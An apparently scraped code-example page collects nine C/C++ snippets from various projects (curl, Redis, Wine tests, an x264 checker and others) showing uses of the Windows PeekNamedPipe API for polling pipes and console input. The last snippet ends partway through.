Пример #1
0
int InputWaiting()

{

#ifndef WIN32

  fd_set readfds;

  struct timeval tv;

  FD_ZERO (&readfds);

  FD_SET (fileno(stdin), &readfds);

  tv.tv_sec=0; tv.tv_usec=0;

  select(16, &readfds, 0, 0, &tv);



  return (FD_ISSET(fileno(stdin), &readfds));

#else

   static int init = 0, pipe;

   static HANDLE inh;

   DWORD dw;



   if (!init) {

     init = 1;

     inh = GetStdHandle(STD_INPUT_HANDLE);

     pipe = !GetConsoleMode(inh, &dw);

     if (!pipe) {

        SetConsoleMode(inh, dw & ~(ENABLE_MOUSE_INPUT|ENABLE_WINDOW_INPUT));

        FlushConsoleInputBuffer(inh);

      }

    }

    if (pipe) {

      if (!PeekNamedPipe(inh, NULL, 0, NULL, &dw, NULL)) return 1;

      return dw;

    } else {

      GetNumberOfConsoleInputEvents(inh, &dw);

      return dw <= 1 ? 0 : dw;

  }

#endif

}
Пример #2
0
static int
windows_compute_revents (HANDLE h, int *p_sought)
{
  int i, ret, happened;
  INPUT_RECORD *irbuffer;
  DWORD avail, nbuffer;
  BOOL bRet;
  IO_STATUS_BLOCK iosb;
  FILE_PIPE_LOCAL_INFORMATION fpli;
  static PNtQueryInformationFile NtQueryInformationFile;
  static BOOL once_only;

  switch (GetFileType (h))
    {
    case FILE_TYPE_PIPE:
      if (!once_only)
        {
          NtQueryInformationFile = (PNtQueryInformationFile)
            GetProcAddress (GetModuleHandle ("ntdll.dll"),
                            "NtQueryInformationFile");
          once_only = TRUE;
        }

      happened = 0;
      if (PeekNamedPipe (h, NULL, 0, NULL, &avail, NULL) != 0)
        {
          if (avail)
            happened |= *p_sought & (POLLIN | POLLRDNORM);
        }
      else if (GetLastError () == ERROR_BROKEN_PIPE)
        happened |= POLLHUP;

      else
        {
          /* It was the write-end of the pipe.  Check if it is writable.
             If NtQueryInformationFile fails, optimistically assume the pipe is
             writable.  This could happen on Windows 9x, where
             NtQueryInformationFile is not available, or if we inherit a pipe
             that doesn't permit FILE_READ_ATTRIBUTES access on the write end
             (I think this should not happen since Windows XP SP2; WINE seems
             fine too).  Otherwise, ensure that enough space is available for
             atomic writes.  */
          memset (&iosb, 0, sizeof (iosb));
          memset (&fpli, 0, sizeof (fpli));

          if (!NtQueryInformationFile
              || NtQueryInformationFile (h, &iosb, &fpli, sizeof (fpli),
                                         FilePipeLocalInformation)
              || fpli.WriteQuotaAvailable >= PIPE_BUF
              || (fpli.OutboundQuota < PIPE_BUF &&
                  fpli.WriteQuotaAvailable == fpli.OutboundQuota))
            happened |= *p_sought & (POLLOUT | POLLWRNORM | POLLWRBAND);
        }
      return happened;

    case FILE_TYPE_CHAR:
      ret = WaitForSingleObject (h, 0);
      if (!IsConsoleHandle (h))
        return ret == WAIT_OBJECT_0 ? *p_sought & ~(POLLPRI | POLLRDBAND) : 0;

      nbuffer = avail = 0;
      bRet = GetNumberOfConsoleInputEvents (h, &nbuffer);
      if (bRet)
        {
          /* Input buffer.  */
          *p_sought &= POLLIN | POLLRDNORM;
          if (nbuffer == 0)
            return POLLHUP;
          if (!*p_sought)
            return 0;

          irbuffer = (INPUT_RECORD *) alloca (nbuffer * sizeof (INPUT_RECORD));
          bRet = PeekConsoleInput (h, irbuffer, nbuffer, &avail);
          if (!bRet || avail == 0)
            return POLLHUP;

          for (i = 0; i < avail; i++)
            if (irbuffer[i].EventType == KEY_EVENT)
              return *p_sought;
          return 0;
        }
      else
        {
          /* Screen buffer.  */
          *p_sought &= POLLOUT | POLLWRNORM | POLLWRBAND;
          return *p_sought;
        }

    default:
      ret = WaitForSingleObject (h, 0);
      if (ret == WAIT_OBJECT_0)
        return *p_sought & ~(POLLPRI | POLLRDBAND);

      return *p_sought & (POLLOUT | POLLWRNORM | POLLWRBAND);
    }
}
Пример #3
0
static CURLcode telnet_do(struct connectdata *conn, bool *done)
{
  CURLcode result;
  struct Curl_easy *data = conn->data;
  curl_socket_t sockfd = conn->sock[FIRSTSOCKET];
#ifdef USE_WINSOCK
  HMODULE wsock2;
  WSOCK2_FUNC close_event_func;
  WSOCK2_FUNC create_event_func;
  WSOCK2_FUNC event_select_func;
  WSOCK2_FUNC enum_netevents_func;
  WSAEVENT event_handle;
  WSANETWORKEVENTS events;
  HANDLE stdin_handle;
  HANDLE objs[2];
  DWORD  obj_count;
  DWORD  wait_timeout;
  DWORD waitret;
  DWORD readfile_read;
  int err;
#else
  int interval_ms;
  struct pollfd pfd[2];
  int poll_cnt;
  curl_off_t total_dl = 0;
  curl_off_t total_ul = 0;
#endif
  ssize_t nread;
  struct curltime now;
  bool keepon = TRUE;
  char *buf = data->state.buffer;
  struct TELNET *tn;

  *done = TRUE; /* unconditionally */

  result = init_telnet(conn);
  if(result)
    return result;

  tn = (struct TELNET *)data->req.protop;

  result = check_telnet_options(conn);
  if(result)
    return result;

#ifdef USE_WINSOCK
  /*
  ** This functionality only works with WinSock >= 2.0.  So,
  ** make sure we have it.
  */
  result = check_wsock2(data);
  if(result)
    return result;

  /* OK, so we have WinSock 2.0.  We need to dynamically */
  /* load ws2_32.dll and get the function pointers we need. */
  wsock2 = Curl_load_library(TEXT("WS2_32.DLL"));
  if(wsock2 == NULL) {
    failf(data, "failed to load WS2_32.DLL (%u)", GetLastError());
    return CURLE_FAILED_INIT;
  }

  /* Grab a pointer to WSACreateEvent */
  create_event_func = GetProcAddress(wsock2, "WSACreateEvent");
  if(create_event_func == NULL) {
    failf(data, "failed to find WSACreateEvent function (%u)", GetLastError());
    FreeLibrary(wsock2);
    return CURLE_FAILED_INIT;
  }

  /* And WSACloseEvent */
  close_event_func = GetProcAddress(wsock2, "WSACloseEvent");
  if(close_event_func == NULL) {
    failf(data, "failed to find WSACloseEvent function (%u)", GetLastError());
    FreeLibrary(wsock2);
    return CURLE_FAILED_INIT;
  }

  /* And WSAEventSelect */
  event_select_func = GetProcAddress(wsock2, "WSAEventSelect");
  if(event_select_func == NULL) {
    failf(data, "failed to find WSAEventSelect function (%u)", GetLastError());
    FreeLibrary(wsock2);
    return CURLE_FAILED_INIT;
  }

  /* And WSAEnumNetworkEvents */
  enum_netevents_func = GetProcAddress(wsock2, "WSAEnumNetworkEvents");
  if(enum_netevents_func == NULL) {
    failf(data, "failed to find WSAEnumNetworkEvents function (%u)",
          GetLastError());
    FreeLibrary(wsock2);
    return CURLE_FAILED_INIT;
  }

  /* We want to wait for both stdin and the socket. Since
  ** the select() function in winsock only works on sockets
  ** we have to use the WaitForMultipleObjects() call.
  */

  /* First, create a sockets event object */
  event_handle = (WSAEVENT)create_event_func();
  if(event_handle == WSA_INVALID_EVENT) {
    failf(data, "WSACreateEvent failed (%d)", SOCKERRNO);
    FreeLibrary(wsock2);
    return CURLE_FAILED_INIT;
  }

  /* Tell winsock what events we want to listen to */
  if(event_select_func(sockfd, event_handle, FD_READ|FD_CLOSE) ==
     SOCKET_ERROR) {
    close_event_func(event_handle);
    FreeLibrary(wsock2);
    return CURLE_OK;
  }

  /* The get the Windows file handle for stdin */
  stdin_handle = GetStdHandle(STD_INPUT_HANDLE);

  /* Create the list of objects to wait for */
  objs[0] = event_handle;
  objs[1] = stdin_handle;

  /* If stdin_handle is a pipe, use PeekNamedPipe() method to check it,
     else use the old WaitForMultipleObjects() way */
  if(GetFileType(stdin_handle) == FILE_TYPE_PIPE ||
     data->set.is_fread_set) {
    /* Don't wait for stdin_handle, just wait for event_handle */
    obj_count = 1;
    /* Check stdin_handle per 100 milliseconds */
    wait_timeout = 100;
  }
  else {
    obj_count = 2;
    wait_timeout = 1000;
  }

  /* Keep on listening and act on events */
  while(keepon) {
    const DWORD buf_size = (DWORD)data->set.buffer_size;
    waitret = WaitForMultipleObjects(obj_count, objs, FALSE, wait_timeout);
    switch(waitret) {
    case WAIT_TIMEOUT:
    {
      for(;;) {
        if(data->set.is_fread_set) {
          size_t n;
          /* read from user-supplied method */
          n = data->state.fread_func(buf, 1, buf_size, data->state.in);
          if(n == CURL_READFUNC_ABORT) {
            keepon = FALSE;
            result = CURLE_READ_ERROR;
            break;
          }

          if(n == CURL_READFUNC_PAUSE)
            break;

          if(n == 0)                        /* no bytes */
            break;

          /* fall through with number of bytes read */
          readfile_read = (DWORD)n;
        }
        else {
          /* read from stdin */
          if(!PeekNamedPipe(stdin_handle, NULL, 0, NULL,
                            &readfile_read, NULL)) {
            keepon = FALSE;
            result = CURLE_READ_ERROR;
            break;
          }

          if(!readfile_read)
            break;

          if(!ReadFile(stdin_handle, buf, buf_size,
                       &readfile_read, NULL)) {
            keepon = FALSE;
            result = CURLE_READ_ERROR;
            break;
          }
        }

        result = send_telnet_data(conn, buf, readfile_read);
        if(result) {
          keepon = FALSE;
          break;
        }
      }
    }
    break;

    case WAIT_OBJECT_0 + 1:
    {
      if(!ReadFile(stdin_handle, buf, buf_size,
                   &readfile_read, NULL)) {
        keepon = FALSE;
        result = CURLE_READ_ERROR;
        break;
      }

      result = send_telnet_data(conn, buf, readfile_read);
      if(result) {
        keepon = FALSE;
        break;
      }
    }
    break;

    case WAIT_OBJECT_0:

      events.lNetworkEvents = 0;
      if(SOCKET_ERROR == enum_netevents_func(sockfd, event_handle, &events)) {
        err = SOCKERRNO;
        if(err != EINPROGRESS) {
          infof(data, "WSAEnumNetworkEvents failed (%d)", err);
          keepon = FALSE;
          result = CURLE_READ_ERROR;
        }
        break;
      }
      if(events.lNetworkEvents & FD_READ) {
        /* read data from network */
        result = Curl_read(conn, sockfd, buf, data->set.buffer_size, &nread);
        /* read would've blocked. Loop again */
        if(result == CURLE_AGAIN)
          break;
        /* returned not-zero, this an error */
        else if(result) {
          keepon = FALSE;
          break;
        }
        /* returned zero but actually received 0 or less here,
           the server closed the connection and we bail out */
        else if(nread <= 0) {
          keepon = FALSE;
          break;
        }

        result = telrcv(conn, (unsigned char *) buf, nread);
        if(result) {
          keepon = FALSE;
          break;
        }

        /* Negotiate if the peer has started negotiating,
           otherwise don't. We don't want to speak telnet with
           non-telnet servers, like POP or SMTP. */
        if(tn->please_negotiate && !tn->already_negotiated) {
          negotiate(conn);
          tn->already_negotiated = 1;
        }
      }
      if(events.lNetworkEvents & FD_CLOSE) {
        keepon = FALSE;
      }
      break;

    }

    if(data->set.timeout) {
      now = Curl_now();
      if(Curl_timediff(now, conn->created) >= data->set.timeout) {
        failf(data, "Time-out");
        result = CURLE_OPERATION_TIMEDOUT;
        keepon = FALSE;
      }
    }
  }

  /* We called WSACreateEvent, so call WSACloseEvent */
  if(!close_event_func(event_handle)) {
    infof(data, "WSACloseEvent failed (%d)", SOCKERRNO);
  }

  /* "Forget" pointers into the library we're about to free */
  create_event_func = NULL;
  close_event_func = NULL;
  event_select_func = NULL;
  enum_netevents_func = NULL;

  /* We called LoadLibrary, so call FreeLibrary */
  if(!FreeLibrary(wsock2))
    infof(data, "FreeLibrary(wsock2) failed (%u)", GetLastError());
#else
  pfd[0].fd = sockfd;
  pfd[0].events = POLLIN;

  if(data->set.is_fread_set) {
    poll_cnt = 1;
    interval_ms = 100; /* poll user-supplied read function */
  }
  else {
    /* really using fread, so infile is a FILE* */
    pfd[1].fd = fileno((FILE *)data->state.in);
    pfd[1].events = POLLIN;
    poll_cnt = 2;
    interval_ms = 1 * 1000;
  }

  while(keepon) {
    switch(Curl_poll(pfd, poll_cnt, interval_ms)) {
    case -1:                    /* error, stop reading */
      keepon = FALSE;
      continue;
    case 0:                     /* timeout */
      pfd[0].revents = 0;
      pfd[1].revents = 0;
      /* fall through */
    default:                    /* read! */
      if(pfd[0].revents & POLLIN) {
        /* read data from network */
        result = Curl_read(conn, sockfd, buf, data->set.buffer_size, &nread);
        /* read would've blocked. Loop again */
        if(result == CURLE_AGAIN)
          break;
        /* returned not-zero, this an error */
        if(result) {
          keepon = FALSE;
          break;
        }
        /* returned zero but actually received 0 or less here,
           the server closed the connection and we bail out */
        else if(nread <= 0) {
          keepon = FALSE;
          break;
        }

        total_dl += nread;
        Curl_pgrsSetDownloadCounter(data, total_dl);
        result = telrcv(conn, (unsigned char *)buf, nread);
        if(result) {
          keepon = FALSE;
          break;
        }

        /* Negotiate if the peer has started negotiating,
           otherwise don't. We don't want to speak telnet with
           non-telnet servers, like POP or SMTP. */
        if(tn->please_negotiate && !tn->already_negotiated) {
          negotiate(conn);
          tn->already_negotiated = 1;
        }
      }

      nread = 0;
      if(poll_cnt == 2) {
        if(pfd[1].revents & POLLIN) { /* read from in file */
          nread = read(pfd[1].fd, buf, data->set.buffer_size);
        }
      }
      else {
        /* read from user-supplied method */
        nread = (int)data->state.fread_func(buf, 1, data->set.buffer_size,
                                            data->state.in);
        if(nread == CURL_READFUNC_ABORT) {
          keepon = FALSE;
          break;
        }
        if(nread == CURL_READFUNC_PAUSE)
          break;
      }

      if(nread > 0) {
        result = send_telnet_data(conn, buf, nread);
        if(result) {
          keepon = FALSE;
          break;
        }
        total_ul += nread;
        Curl_pgrsSetUploadCounter(data, total_ul);
      }
      else if(nread < 0)
        keepon = FALSE;

      break;
    } /* poll switch statement */

    if(data->set.timeout) {
      now = Curl_now();
      if(Curl_timediff(now, conn->created) >= data->set.timeout) {
        failf(data, "Time-out");
        result = CURLE_OPERATION_TIMEDOUT;
        keepon = FALSE;
      }
    }

    if(Curl_pgrsUpdate(conn)) {
      result = CURLE_ABORTED_BY_CALLBACK;
      break;
    }
  }
#endif
  /* mark this as "no further transfer wanted" */
  Curl_setup_transfer(conn, -1, -1, FALSE, NULL, -1, NULL);

  return result;
}
Пример #4
0
char *pipe_win32_poll(int *error)
{
    *error = 0;

    /* Repeat until no more data is available, or a full message has been
    ** received.
    */
    while (1)
    {
        DWORD bytes;
        char *msg;
        int len;

        if ((msg = msgbuf_process(buf)))
            return msg;

        len = strlen(buf);

        /* Check whether data is available. */
        if (console_mode)
        {
            if (!GetNumberOfConsoleInputEvents(h_in, &bytes))
            {
                /* Error reading console input. */
                fprintf(stderr, "%s, L%d: Error reading console input.\n", __FILE__, __LINE__);
                *error = 1;
                return NULL;
            }
        } else if (!PeekNamedPipe(h_in, NULL, 0, NULL, &bytes, NULL))
        {
            /* Error reading pipe. */
            fprintf(stderr, "%s, L%d: Broken pipe.\n", __FILE__, __LINE__);
            *error = 1;
            return NULL;
        }

        if (bytes > 0)
        {
            /* Read data. */
            if (!ReadFile(h_in, buf + len, BUF_LEN - len - 1, &bytes, NULL))
            {
                /* Error reading pipe. */
                fprintf(stderr, "%s, L%d: Broken pipe.\n", __FILE__, __LINE__);
                *error = 1;
                return NULL;
            }

            if (!console_mode && bytes == 0)
            {
                /* Received EOF. */
                fprintf(stderr, "%s, L%d: Broken pipe.\n", __FILE__, __LINE__);
                *error = 1;
                return NULL;
            }

            buf[len + bytes] = '\0';
        }
        else
            /* No data available. */
            break;
    }
    return NULL;
}
Пример #5
0
/* Every time a thread finished a Job, it writes a byte into the write side
 * of an unix pipe in order to "awake" the main thread, and this function
 * is called.
 *
 * Note that this is called both by the event loop, when a I/O thread
 * sends a byte in the notification pipe, and is also directly called from
 * waitEmptyIOJobsQueue().
 *
 * In the latter case we don't want to swap more, so we use the
 * "privdata" argument setting it to a not NULL value to signal this
 * condition. */
void vmThreadedIOCompletedJob(aeEventLoop *el, int fd, void *privdata,
            int mask)
{
    char buf[1];
    int retval, processed = 0, toprocess = -1, trytoswap = 1;
    REDIS_NOTUSED(el);
    REDIS_NOTUSED(mask);
    REDIS_NOTUSED(privdata);

    if (privdata != NULL) trytoswap = 0; /* check the comments above... */

    /* For every byte we read in the read side of the pipe, there is one
     * I/O job completed to process. */
#ifndef _WIN32
    while((retval = read(fd,buf,1)) == 1) {
#else
    DWORD pipe_is_on = 0;

    while (1) {
        retval = 0;
        /*Windows fix: We need to peek pipe, since read would block. */
        if (!PeekNamedPipe((HANDLE) _get_osfhandle(fd), NULL, 0, NULL, &pipe_is_on, NULL)) {
           redisLog(REDIS_DEBUG,"PeekReadPipe failed %s", strerror(GetLastError()));
           break;
        }

        /* No data on pipe */
        if (!pipe_is_on)
            break;

        if ((retval = read(fd,buf,1)) != 1)
            break;
#endif
        iojob *j;
        listNode *ln;
        struct dictEntry *de;

        /* Get the processed element (the oldest one) */
        lockThreadedIO();
        redisLog(REDIS_DEBUG,"Processing I/O completed job");
        redisAssert(listLength(server.io_processed) != 0);
        if (toprocess == -1) {
            toprocess = (listLength(server.io_processed)*REDIS_MAX_COMPLETED_JOBS_PROCESSED)/100;
            if (toprocess <= 0) toprocess = 1;
        }
        ln = listFirst(server.io_processed);
        j = ln->value;
        listDelNode(server.io_processed,ln);
        unlockThreadedIO();
        /* If this job is marked as canceled, just ignore it */
        if (j->canceled) {
            freeIOJob(j);
            continue;
        }
        /* Post process it in the main thread, as there are things we
         * can do just here to avoid race conditions and/or invasive locks */
        redisLog(REDIS_DEBUG,"COMPLETED Job type: %d, ID %p, key: %s", j->type, (void*)j->id, (unsigned char*)j->key->ptr);
        de = dictFind(j->db->dict,j->key->ptr);
        redisAssert(de != NULL);
        if (j->type == REDIS_IOJOB_LOAD) {
            redisDb *db;
            vmpointer *vp = dictGetEntryVal(de);

            /* Key loaded, bring it at home */
            vmMarkPagesFree(vp->page,vp->usedpages);
            redisLog(REDIS_DEBUG, "VM: object %s loaded from disk (threaded)",
                (unsigned char*) j->key->ptr);
            server.vm_stats_swapped_objects--;
            server.vm_stats_swapins++;
            dictGetEntryVal(de) = j->val;
            incrRefCount(j->val);
            db = j->db;
            /* Handle clients waiting for this key to be loaded. */
            handleClientsBlockedOnSwappedKey(db,j->key);
            freeIOJob(j);
            zfree(vp);
        } else if (j->type == REDIS_IOJOB_PREPARE_SWAP) {
            /* Now we know the amount of pages required to swap this object.
             * Let's find some space for it, and queue this task again
             * rebranded as REDIS_IOJOB_DO_SWAP. */
            if (!vmCanSwapOut() ||
                vmFindContiguousPages(&j->page,j->pages) == REDIS_ERR)
            {
                /* Ooops... no space or we can't swap as there is
                 * a fork()ed Redis trying to save stuff on disk. */
                j->val->storage = REDIS_VM_MEMORY; /* undo operation */
                freeIOJob(j);
            } else {
                /* Note that we need to mark this pages as used now,
                 * if the job will be canceled, we'll mark them as freed
                 * again. */
                vmMarkPagesUsed(j->page,j->pages);
                j->type = REDIS_IOJOB_DO_SWAP;
                lockThreadedIO();
                queueIOJob(j);
                unlockThreadedIO();
            }
        } else if (j->type == REDIS_IOJOB_DO_SWAP) {
            vmpointer *vp;

            /* Key swapped. We can finally free some memory. */
            if (j->val->storage != REDIS_VM_SWAPPING) {
                vmpointer *vp = (vmpointer*) j->id;
                printf("storage: %d\n",vp->storage);
                printf("key->name: %s\n",(char*)j->key->ptr);
                printf("val: %p\n",(void*)j->val);
                printf("val->type: %d\n",j->val->type);
                printf("val->ptr: %s\n",(char*)j->val->ptr);
            }
            redisAssert(j->val->storage == REDIS_VM_SWAPPING);
            vp = createVmPointer(j->val);
            vp->page = j->page;
            vp->usedpages = j->pages;
            dictGetEntryVal(de) = vp;
            /* Fix the storage otherwise decrRefCount will attempt to
             * remove the associated I/O job */
            j->val->storage = REDIS_VM_MEMORY;
            decrRefCount(j->val);
            redisLog(REDIS_DEBUG,
                "VM: object %s swapped out at %lld (%lld pages) (threaded)",
                (unsigned char*) j->key->ptr,
                (unsigned long long) j->page, (unsigned long long) j->pages);
            server.vm_stats_swapped_objects++;
            server.vm_stats_swapouts++;
            freeIOJob(j);
            /* Put a few more swap requests in queue if we are still
             * out of memory */
            if (trytoswap && vmCanSwapOut() &&
                zmalloc_used_memory() > server.vm_max_memory)
            {
                int more = 1;
                while(more) {
                    lockThreadedIO();
                    more = listLength(server.io_newjobs) <
                            (unsigned) server.vm_max_threads;
                    unlockThreadedIO();
                    /* Don't waste CPU time if swappable objects are rare. */
                    if (vmSwapOneObjectThreaded() == REDIS_ERR) {
                        trytoswap = 0;
                        break;
                    }
                }
            }
        }
        processed++;
        if (processed == toprocess) return;
    }
    if (retval < 0 && errno != EAGAIN) {
        redisLog(REDIS_WARNING,
            "WARNING: read(2) error in vmThreadedIOCompletedJob() %s",
            strerror(errno));
    }
}

void lockThreadedIO(void) {
    pthread_mutex_lock(&server.io_mutex);
}
Пример #6
0
DWORD RedirectStdIO(LPSTR pszCommandLine,
                    fnWriteStdIn pfnWriteStdIn,
                    fnReadStdOutErr pfnReadStdOut,
                    fnReadStdOutErr pfnReadStdErr,
                    DWORD* pdwReturnCode,
                    LPVOID lpUser,
                    DWORD dwDefaultBufferSize,
                    WORD wShowWindow
                   )
{
  RedirStdIOContext context;
  ZeroMemory(&context, sizeof(RedirStdIOContext));

  context.pfnWriteStdIn = pfnWriteStdIn;
  context.pfnReadStdOut = pfnReadStdOut;
  context.pfnReadStdErr = pfnReadStdErr;
  context.lpUser = lpUser;

  SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };

  context.dwBufferSize = dwDefaultBufferSize;
  // デフォルトバッファサイズ
  if(context.dwBufferSize <= 0) context.dwBufferSize = BUFFER_SIZE;

  // パイプ作りまくり
  CreatePipe(&context.StdIn.hRead, &context.StdIn.hWrite, &sa, context.dwBufferSize);
  DuplicateHandle(GetCurrentProcess(), context.StdIn.hWrite, GetCurrentProcess(), &context.hStdInWritePipeDup, 0, FALSE, DUPLICATE_SAME_ACCESS);
  CloseHandle(context.StdIn.hWrite);
  CreatePipe(&context.StdOut.hRead, &context.StdOut.hWrite, &sa, context.dwBufferSize);
  CreatePipe(&context.StdErr.hRead, &context.StdErr.hWrite, &sa, context.dwBufferSize);

  STARTUPINFO si = { sizeof(STARTUPINFO) };

  si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
  si.wShowWindow = wShowWindow;
  si.hStdInput = context.StdIn.hRead;
  si.hStdOutput = context.StdOut.hWrite;
  si.hStdError = context.StdErr.hWrite;

  PROCESS_INFORMATION pi;
  // れっつ起動
  BOOL r = CreateProcess(NULL, pszCommandLine, &sa, NULL, TRUE, DETACHED_PROCESS | CREATE_NO_WINDOW,
                         NULL, NULL, &si, &pi);
  if(r)
  {
    // 入力待ちに入るまで待っててやる
    WaitForInputIdle(pi.hProcess, WAIT_FOR_READY);

    // stdin 不要なら先に閉じてしまう
    if(!context.pfnWriteStdIn)
      CloseHandle(context.hStdInWritePipeDup);

    // 転送用バッファ。
    context.pbyBuffer = new BYTE[context.dwBufferSize];

    DWORD dwRet;
    do
    {
      // ポンプを動かす
      if(!PumpPipe(&context))
        break;
      dwRet = WaitForSingleObject(pi.hProcess, WAIT_FOR_RUN);
    }while(dwRet != WAIT_OBJECT_0); // ターゲットプロセスが生きている間

    DWORD dwBytesInStdOut = 0, dwBytesInStdErr = 0;
    while(1)
    {
      BOOL r;
      r = PeekNamedPipe(context.StdOut.hRead, NULL, 0, NULL, &dwBytesInStdOut, NULL);
      r = r && PeekNamedPipe(context.StdErr.hRead, NULL, 0, NULL, &dwBytesInStdErr, NULL);
      if(!r || (!dwBytesInStdOut && !dwBytesInStdErr))
        break;
      PumpPipe(&context);             // 書き残し、読み残しはないか?
      Sleep(WAIT_FOR_RUN);
    }

    delete[] context.pbyBuffer;

    // 終了コード
    if(pdwReturnCode) GetExitCodeProcess(pi.hProcess, pdwReturnCode);
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
  }
  // 後始末
  CloseHandle(context.StdIn.hRead);
  CloseHandle(context.StdOut.hRead); CloseHandle(context.StdOut.hWrite);
  CloseHandle(context.StdErr.hRead); CloseHandle(context.StdErr.hWrite);

  return r;
}
Пример #7
0
BOOL check_x264_mp4_output(const char *exe_path, const char *temp_filename) {
    BOOL ret = FALSE;
    std::string exe_message;
    PROCESS_INFORMATION pi = { 0 };

    const int TEST_WIDTH = 160;
    const int TEST_HEIGHT = 120;
    std::vector<char> test_buffer(TEST_WIDTH * TEST_HEIGHT * 3 / 2, 0);

    PIPE_SET pipes = { 0 };
    InitPipes(&pipes);
    pipes.stdIn.mode  = AUO_PIPE_ENABLE;
    pipes.stdOut.mode = AUO_PIPE_DISABLE;
    pipes.stdErr.mode = AUO_PIPE_ENABLE;
    pipes.stdIn.bufferSize = test_buffer.size();

    char test_path[1024] = { 0 };
    for (int i = 0; !i || PathFileExists(test_path); i++) {
        char test_filename[32] = { 0 };
        sprintf_s(test_filename, _countof(test_filename), "_test_%d.mp4", i);
        PathCombineLong(test_path, _countof(test_path), temp_filename, test_filename);
    }

    char exe_dir[1024] = { 0 };
    strcpy_s(exe_dir, _countof(exe_dir), exe_path);
    PathRemoveFileSpecFixed(exe_dir);

    char fullargs[8192] = { 0 };
    sprintf_s(fullargs, _countof(fullargs), "\"%s\" --fps 1 --frames 1 --input-depth 8 --input-res %dx%d -o \"%s\" --input-csp nv12 -", exe_path, TEST_WIDTH, TEST_HEIGHT, test_path);
    if ((ret = RunProcess(fullargs, exe_dir, &pi, &pipes, NORMAL_PRIORITY_CLASS, TRUE, FALSE)) == RP_SUCCESS) {

        while (WAIT_TIMEOUT == WaitForInputIdle(pi.hProcess, LOG_UPDATE_INTERVAL))
            log_process_events();

        _fwrite_nolock(&test_buffer[0], 1, test_buffer.size(), pipes.f_stdin);

        auto read_stderr = [](PIPE_SET *pipes) {
            DWORD pipe_read = 0;
            if (!PeekNamedPipe(pipes->stdErr.h_read, NULL, 0, NULL, &pipe_read, NULL))
                return -1;
            if (pipe_read) {
                ReadFile(pipes->stdErr.h_read, pipes->read_buf + pipes->buf_len, sizeof(pipes->read_buf) - pipes->buf_len - 1, &pipe_read, NULL);
                pipes->buf_len += pipe_read;
                pipes->read_buf[pipes->buf_len] = '\0';
            }
            return (int)pipe_read;
        };

        while (WAIT_TIMEOUT == WaitForSingleObject(pi.hProcess, 10)) {
            if (read_stderr(&pipes)) {
                exe_message += pipes.read_buf;
                pipes.buf_len = 0;
            } else {
                log_process_events();
            }
        }

        CloseStdIn(&pipes);

        while (read_stderr(&pipes) > 0) {
            exe_message += pipes.read_buf;
            pipes.buf_len = 0;
        }
        log_process_events();

        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);

        if (std::string::npos == exe_message.find("not compiled with MP4 output"))
            ret = TRUE;
    }

    if (pipes.stdIn.mode)  CloseHandle(pipes.stdIn.h_read);
    if (pipes.stdOut.mode) CloseHandle(pipes.stdOut.h_read);
    if (pipes.stdErr.mode) CloseHandle(pipes.stdErr.h_read);
    if (PathFileExists(test_path)) remove(test_path);
    return ret;
}
Пример #8
0
/**
 * Runs a Wine test and captures the output
 *
 * @param TestInfo
 * Pointer to a CTestInfo object containing information about the test.
 * Will contain the test log afterwards if the user wants to submit data.
 */
void
CWineTest::RunTest(CTestInfo* TestInfo)
{
    bool BreakLoop = false;
    DWORD BytesAvailable;
    DWORD Temp;
    stringstream ss, ssFinish;
    DWORD StartTime = GetTickCount();
    float TotalTime;
    string tailString;

    ss << "Running Wine Test, Module: " << TestInfo->Module << ", Test: " << TestInfo->Test << endl;
    StringOut(ss.str());

    StartTime = GetTickCount();

    {
        /* Execute the test */
        CProcess Process(TestInfo->CommandLine, &m_StartupInfo);

        /* Receive all the data from the pipe */
        do
        {
            /* When the application finished, make sure that we peek the pipe one more time, so that we get all data.
               If the following condition would be the while() condition, we might hit a race condition:
                  - We check for data with PeekNamedPipe -> no data available
                  - The application outputs its data and finishes
                  - WaitForSingleObject reports that the application has finished and we break the loop without receiving any data
            */
            if(WaitForSingleObject(Process.GetProcessHandle(), 0) != WAIT_TIMEOUT)
                BreakLoop = true;

            if(!PeekNamedPipe(m_hReadPipe, NULL, 0, NULL, &BytesAvailable, NULL))
                FATAL("PeekNamedPipe failed for the test run\n");

            if(BytesAvailable)
            {
                /* There is data, so get it and output it */
                auto_array_ptr<char> Buffer(new char[BytesAvailable + 1]);

                if(!ReadFile(m_hReadPipe, Buffer, BytesAvailable, &Temp, NULL))
                    FATAL("ReadFile failed for the test run\n");

                /* Output text through StringOut, even while the test is still running */
                Buffer[BytesAvailable] = 0;
                tailString = StringOut(tailString.append(string(Buffer)), false);

                if(Configuration.DoSubmit())
                    TestInfo->Log += Buffer;
            }
        }
        while(!BreakLoop);
    }

    /* Print what's left */
    if(!tailString.empty())
        StringOut(tailString);

    TotalTime = ((float)GetTickCount() - StartTime)/1000;
    ssFinish << "Test " << TestInfo->Test << " completed in ";
    ssFinish << setprecision(2) << fixed << TotalTime << " seconds." << endl;
    StringOut(ssFinish.str());
}
Пример #9
0
/*
 * WinSock select() does not support standard file descriptors,
 * it can only check SOCKETs. The following function is an attempt
 * to re-create a select() function with support for other handle types.
 *
 * select() function with support for WINSOCK2 sockets and all
 * other handle types supported by WaitForMultipleObjectsEx().
 *
 * TODO: Differentiate between read/write/except for non-SOCKET handles.
 *
 * http://msdn.microsoft.com/en-us/library/windows/desktop/ms687028.aspx
 * http://msdn.microsoft.com/en-us/library/windows/desktop/ms741572.aspx
 */
static int select_ws(int nfds, fd_set *readfds, fd_set *writefds,
                     fd_set *exceptfds, struct timeval *timeout)
{
  long networkevents;
  DWORD milliseconds, wait, idx, mode, avail, events, inputs;
  WSAEVENT wsaevent, *wsaevents;
  WSANETWORKEVENTS wsanetevents;
  INPUT_RECORD *inputrecords;
  HANDLE handle, *handles;
  curl_socket_t sock, *fdarr, *wsasocks;
  int error, fds;
  DWORD nfd = 0, wsa = 0;
  int ret = 0;

  /* check if the input value is valid */
  if(nfds < 0) {
    errno = EINVAL;
    return -1;
  }

  /* check if we got descriptors, sleep in case we got none */
  if(!nfds) {
    Sleep((timeout->tv_sec * 1000) + (timeout->tv_usec / 1000));
    return 0;
  }

  /* allocate internal array for the original input handles */
  fdarr = malloc(nfds * sizeof(curl_socket_t));
  if(fdarr == NULL) {
    errno = ENOMEM;
    return -1;
  }

  /* allocate internal array for the internal event handles */
  handles = malloc(nfds * sizeof(HANDLE));
